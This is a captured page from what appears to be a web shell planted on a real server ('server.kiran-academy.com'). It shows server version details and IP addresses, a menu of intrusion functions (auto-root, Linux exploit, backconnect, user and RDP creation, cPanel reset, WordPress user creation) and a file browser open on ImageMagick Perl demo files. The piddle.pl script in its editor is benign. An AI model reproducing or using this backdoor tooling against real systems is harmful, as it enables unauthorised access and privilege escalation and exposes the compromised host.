Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ImageMagick-perl-6.9.10.68 /
demo /
[ HOME SHELL ]
Name
Size
Permission
Action
Makefile
360
B
-rw-r--r--
README
124
B
-rw-r--r--
Turtle.pm
868
B
-rw-r--r--
annotate.pl
1.41
KB
-rw-r--r--
annotate_words.pl
1.96
KB
-rw-r--r--
button.pl
397
B
-rw-r--r--
compose-specials.pl
5.38
KB
-rw-r--r--
composite.pl
1.55
KB
-rw-r--r--
demo.pl
11.86
KB
-rw-r--r--
dst.png
437
B
-rw-r--r--
lsys.pl
2.34
KB
-rw-r--r--
model.gif
22.88
KB
-rw-r--r--
piddle.pl
1.9
KB
-rw-r--r--
pink-flower.gif
544
B
-rw-r--r--
pixel-fx.pl
1.56
KB
-rw-r--r--
red-flower.gif
694
B
-rw-r--r--
settings.pl
782
B
-rw-r--r--
shadow-text.pl
521
B
-rw-r--r--
shapes.pl
1.21
KB
-rw-r--r--
single-pixels.pl
1.16
KB
-rw-r--r--
smile.gif
1.32
KB
-rw-r--r--
src.png
400
B
-rw-r--r--
steganography.pl
682
B
-rw-r--r--
tile.gif
1.53
KB
-rw-r--r--
tree.pl
829
B
-rw-r--r--
yellow-flower.gif
565
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : piddle.pl
#!/usr/bin/perl eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' if 0; # not running under some shell # Piddle example using PerlMagick methods. use Image::Magick; # # Create white canvas. # $image=Image::Magick->new(size=>'300x300'); $image->Read('xc:white'); # # Draw blue grid # for ($i=0; $i < 300; $i+=10) { $image->Draw(primitive=>'line',points=>"$i,0 $i,300",stroke=>"#ccf"); $image->Draw(primitive=>'line',points=>"0,$i 300,$i",stroke=>"#ccf"); } # # Draw rounded rectangle. # $image->Draw(primitive=>'RoundRectangle',fill=>'blue',stroke=>'maroon', strokewidth=>4,points=>'30,30 100,100 10,10'); # # Draw curve. # $image->Draw(primitive=>'bezier',points=>'20,20, 100,50, 50,100, 160,160', fill=>'none',stroke=>'black',strokewidth=>4); # # Draw line. # $image->Draw(primitive=>'line',points=>"10,200 20,190",stroke=>red); # # Draw arc within a circle. # $image->Draw(primitive=>'circle',stroke=>'none',fill=>'yellow',, points=>"170,70 200,70"); $image->Draw(primitive=>'Path',stroke=>'none',fill=>'blue',strokewidth=>4, points=>'M170,70 v-30 a30,30 0 0,0 -30,30 z'); $image->Draw(primitive=>'circle',stroke=>'black',fill=>'none',strokewidth=>4, points=>"170,70 200,70"); # # Draw pentogram. # $image->Draw(primitive=>'polygon', points=>"160,120 130,190 210,145 110,145 190,190 160,120",stroke=>red, fill=>LimeGreen,strokewidth=>3); # # Draw rectangle. # $image->Draw(primitive=>'line',points=>'200,260 200,200',stroke=>yellow, strokewidth=>5); $image->Draw(primitive=>'line',points=>'200,200 260,200',stroke=>yellow, strokewidth=>5); $image->Draw(primitive=>'line',points=>'260,200 260,260',stroke=>red, strokewidth=>5); $image->Draw(primitive=>'line',points=>'200,260 260,260',stroke=>green, strokewidth=>5); # # Draw text. # $image->Annotate(text=>'This is a test!',geometry=>'+30+140',fill=>'green', pointsize=>24,rotate=>45.0); $image->Write('piddle.gif'); $image->Write('piddle.mvg'); $image->Write('win:');
Close